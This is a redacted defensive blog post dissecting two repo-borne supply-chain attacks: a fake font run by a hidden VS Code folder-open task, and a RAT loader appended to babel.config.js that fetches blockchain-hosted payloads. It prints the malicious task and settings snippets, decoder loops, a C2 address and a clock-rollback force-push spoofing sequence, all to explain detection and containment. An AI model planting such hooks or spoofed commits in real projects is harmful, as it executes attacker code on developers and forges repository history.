Cloning a Repo Is Code Execution [Part 1] — Anatomy of a Repo-Borne Supply-Chain Attack

I gave a talk recently about the state of software supply-chain attacks, and the part people kept asking about afterwards wasn’t the industry-wide statistics — it was the two compromises I’d pulled apart by hand. This post is the written version of that part. Part 2 will pull back to the wider picture (XZ Utils, tj-actions, Trivy, and what actually helps); this one stays on the two incidents I looked at directly.

Everything here is fully redacted — no organisation, repository, or person is named, and I never ran the malware. The payload was recovered by re-implementing its descramblers in a scratch script, not by executing it. The attacker indicators (C2 address, blob hashes, on-chain addresses, XOR keys) are kept as shareable threat intel.

The one sentence to take away before any of the detail: cloning or opening a repository is code execution. Not “can be.” Is.

Two files, one operator

Two separate files in the same project were weaponised to run attacker code on any developer who simply opened or built the repo. Neither came through a normal reviewed pull request — both were introduced by force-pushed, identity-spoofed commits.

  • Incident A hid JavaScript inside a file named fa-solid-400.woff2 and auto-ran it the moment the repo was opened in VS Code.
  • Incident B appended an obfuscated loader to babel.config.js, which executed whenever Babel/Metro evaluated the config during a build. A live remote-access trojan (RAT) was observed connecting to a hardcoded command-and-control server.

Same obfuscator family, same commit-spoofing tool, same design principle: hardcode no C2 server, fetch the real payload from public blockchains at runtime, decrypt it, and run it. Almost certainly one operator.

Incident A — the fake font

The repo shipped a full FontAwesome set as camouflage — all real binaries except one. That one was 5.5 KB of single-line obfuscated JavaScript wearing a .woff2 extension. The file command sees straight through it:

$ file public/fonts/*.woff2
fa-brands-400.woff2:  Web Open Font Format (Version 2)   # real
fa-solid-900.woff2:   Web Open Font Format (Version 2)   # real
fa-solid-400.woff2:   ASCII text, JavaScript source      # <-- not a font

The trigger was a hidden task in .vscode/tasks.json, mislabeled eslint-check, set to run the fake font the instant the folder opened. Alongside it, .vscode/settings.json flipped off every guardrail that would warn you or reveal what was happening:

// tasks.json
"command": "(command -v node && node ./public/fonts/fa-solid-400.woff2) || (where node && node ...)",
"hide": true,
"runOptions": { "runOn": "folderOpen" }

// settings.json
"task.allowAutomaticTasks": true,          // no "Allow automatic tasks?" prompt
"terminal.integrated.hideOnStartup": "always"

So: open the folder, VS Code runs the task automatically (no prompt), the terminal stays hidden, and a file that looks like a font executes as code. You never touched anything.

Incident B — the babel RAT

Here the loader was appended after the legitimate configuration in babel.config.js — the real config was only the first ~14 lines, and the rest was the payload. Because Babel configs are executable JavaScript that React Native and Metro load during ordinary builds, every build became a fresh execution opportunity.

The chain that was observed:

  1. babel.config.js is loaded by Babel/Metro.
  2. The obfuscated loader reconstructs and runs JavaScript at runtime.
  3. It manipulates module lookup paths and reaches for fs, os, crypto, child_process.
  4. It installs a dependency under ~/.node_modules (socket.io-client).
  5. It fetches and decrypts later-stage payloads.
  6. A detached node -e RAT starts outside the build process, so it survives the build finishing.
  7. The RAT speaks Socket.IO to 166.88.54.158:443 — shell exec, file up/download, dynamic code, alternate-C2 config.

One honest limitation worth stating plainly: the host had no process or file-read auditing, and /home was mounted noatime, so the exact list of files the RAT read can’t be reconstructed. Absence of proof is not absence of access — assume it read everything it could.

The shared obfuscator (and why it doesn’t save the attacker)

Both payloads are self-decoding packers with the same signature: a global['!']=… preamble and a _$_1e42 string-array decoder. Nothing meaningful appears as a literal — every method name, hostname, and key is rebuilt at runtime from a scrambled dictionary.

Here’s the part that matters for anyone doing the analysis: the obfuscation is fully deterministic. Stage 1 drives a Fisher–Yates shuffle over a scrambled string with a hardcoded PRNG seed. Same seed, same ordering — so it’s a reversible keyed permutation, not encryption:

let v = 1812138;                        // the seed (the "hash" key)
for (let g = 0; g < s.length; g++) {
  const a = v*(g+139) + v%20044;
  const w = v*(g+473) + v%41543;
  swap(s, a % s.length, w % s.length);  // permute the dictionary
  v = (a + w) % 5446973;                // advance PRNG state
}

Reverse that math in a scratch script and you recover the payload without ever running the malware. This is the whole reason the analysis was safe to do: obfuscation buys the attacker time, not safety. If it’s deterministic, it’s reversible statically.

The dead drop — why there’s no server to take down

The clever part isn’t the obfuscation. It’s that the real payload isn’t in the file at all. It’s posted on public blockchains and reached through a pointer chain:

  1. Read the latest transaction from a Tron account; its memo (hex → utf8 → reversed) yields a BSC transaction hash. (Fallback: an Aptos account.)
  2. eth_getTransactionByHash on that hash → the transaction’s input calldata is the encrypted blob.
  3. Decrypt with repeating-key XOR, key hardcoded back in stage 1:
let out = "";
for (let t = 0; t < enc.length; t++)
  out += String.fromCharCode(enc.charCodeAt(t) ^ key.charCodeAt(t % key.length));

This C2 model — sometimes called “EtherHiding” — is nasty for a few reasons at once. There’s no domain to seize and no server to sinkhole. The operator swaps the next stage by posting a new transaction, and the poisoned file in your repo never changes. The traffic goes to legitimate, popular hosts (api.trongrid.io, bsc-dataseed.binance.org, *.aptoslabs.com) that no firewall flags. And a 30-second timestamp gate keeps it quiet.

Your traditional incident-response instinct — find the server, look up the registrar, send an abuse complaint — has nothing to grab onto. There’s no throat to choke.

It doesn’t just phone home — it spreads

Stage 3 is built to propagate. On execution it goes looking for the keys to your other repositories: a ~/.git-credentials or .netrc token, a stored SSH key, a GitHub CLI (gh) auth token — anything granting push access. Then it enumerates every repo those credentials can write to, and re-injects the same loader into a file that auto-executes on open or build, committing and force-pushing with a spoofed author and rolled-back clock.

What I can state as observed: two repositories in the same org were hit — one via .vscode/, one via babel.config.js — with the same obfuscator family and the same force-push tool. That’s cross-repo spread, in evidence.

What I’ll only call assessed, not observed: the fully automated harvest → enumerate → inject → push loop running end to end. Stage 3 is fetched from the blockchain at runtime and wasn’t recovered, so I’ll describe the mechanism the evidence supports and stop short of claiming I watched it run. Files like metro.config.js and tailwind.config.js are plausible next targets by analogy — any executable build config is — but only .vscode/ and babel.config.js were confirmed here. I’d rather label the seam than paper over it.

Operationally, though, the takeaway doesn’t need the loop confirmed: treat every repo reachable by an affected machine’s git credentials as potentially infected, and rotate those credentials from a clean host.

The impersonation kit

The commits looked normal but carried one tell: the author timezone was in one region and the committer timezone in another. That’s the fingerprint of a commit-spoofing tool (dropped locally, never committed) that rolls the system clock, reattributes authorship, amends, force-pushes, and skips hooks:

git config user.name  <spoofed>
git config user.email <spoofed>
date  <last-commit-date>              :: roll the SYSTEM CLOCK back
git commit --amend --no-verify        :: backdate + reattribute
date  <restore>
git push -uf origin <branch> --no-verify

Git trusts whatever date your local machine reports — it isn’t tied to any central time source. So a timeline built from the GitHub web UI is, in a case like this, working from forged evidence. If you’re reconstructing what happened, the author/committer timezone mismatch is more trustworthy than the dates themselves.

If you find this on a machine

Order matters here, so a short version of the containment sequence:

  1. Kill the active RAT process first — sever the live C2. Expect it to respawn on the next build.
  2. Stop the build/editor tooling that re-triggers it (Metro, language servers, formatters).
  3. Block outbound to the C2 at the firewall, or briefly disconnect.
  4. Clean the config — strip everything appended after the legitimate configuration.
  5. Audit node_modules, the introducing commit/PR, and any other config the bundler loads.
  6. Rotate secrets — from a clean machine.

That last point is the one people get wrong under pressure. Do not rotate secrets from the compromised machine: if the RAT is still live, your shiny new credentials are stolen the moment you create them. And preserve evidence — process list, open sockets, timestamps, git state — before cleanup destroys it.

Wrapping Up

None of the individual tricks here are exotic. A file with the wrong contents for its extension, an editor task set to run on open, a build config that’s executable code, a hardcoded seed, an XOR loop. What makes it work is that they’re stacked on top of an assumption we all make dozens of times a day: that opening a project is a passive act. It isn’t.

Concretely, three things worth doing this week: disable automatic tasks in your editor and actually read .vscode/ and build configs before you trust a repo; verify asset types (file is enough to catch a “font” that’s really JavaScript); and remember that stolen git credentials turn one compromised laptop into many compromised repos — small is not safe.

In [Part 2] I’ll pull back to the wider picture from the talk — the two-year patience of the XZ Utils / “Jia Tan” operation, the tj-actions memory-scraping compromise, the Trivy tag-poisoning waves, and the handful of defenses that actually help. To be continued…


Disclaimer: This is a redacted, defensive write-up for educational purposes. The malware was analysed statically and never executed; no attacker infrastructure was contacted. Indicators are shared as threat intelligence, with all victim identifiers removed. No individual or organisation is named as the attacker — the malicious change arrived through a previously-trusted contributor account, but whether that reflects account compromise, credential theft, or a rogue actor is unproven, and naming a party on an unproven hypothesis would be irresponsible.

Categories: Security DevOps Node